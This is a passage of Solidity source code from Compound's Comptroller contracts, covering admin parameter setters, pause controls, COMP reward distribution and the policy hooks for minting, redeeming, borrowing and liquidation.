lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller, uint compRate_, address[] memory compMarketsToAdd, address[] memory otherMarketsToAdd) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); ComptrollerG3(address(unitroller))._becomeG3(compRate_, compMarketsToAdd, otherMarketsToAdd); } function _becomeG3(uint compRate_, address[] memory compMarketsToAdd, address[] memory otherMarketsToAdd) public { require(msg.sender == comptrollerImplementation, "only brains can become itself"); for (uint i = 0; i < compMarketsToAdd.length; i++) { _addMarketInternal(address(compMarketsToAdd[i])); } for (uint i = 0; i < otherMarketsToAdd.length; i++) { _addMarketInternal(address(otherMarketsToAdd[i])); } _setCompRate(compRate_); _addCompMarkets(compMarketsToAdd); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory interestPerBlock = mul_(Exp({mantissa: cToken.borrowRatePerBlock()}), cToken.totalBorrows()); Exp memory utility = mul_(interestPerBlock, assetPrice); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } /** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "only admin can change comp rate"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeeds(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "only admin can add comp market"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeeds(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "only admin can drop comp market"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeeds(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0xc00e94Cb662C3520282E6f5717214004A7f26888; } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract Comptroller is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param 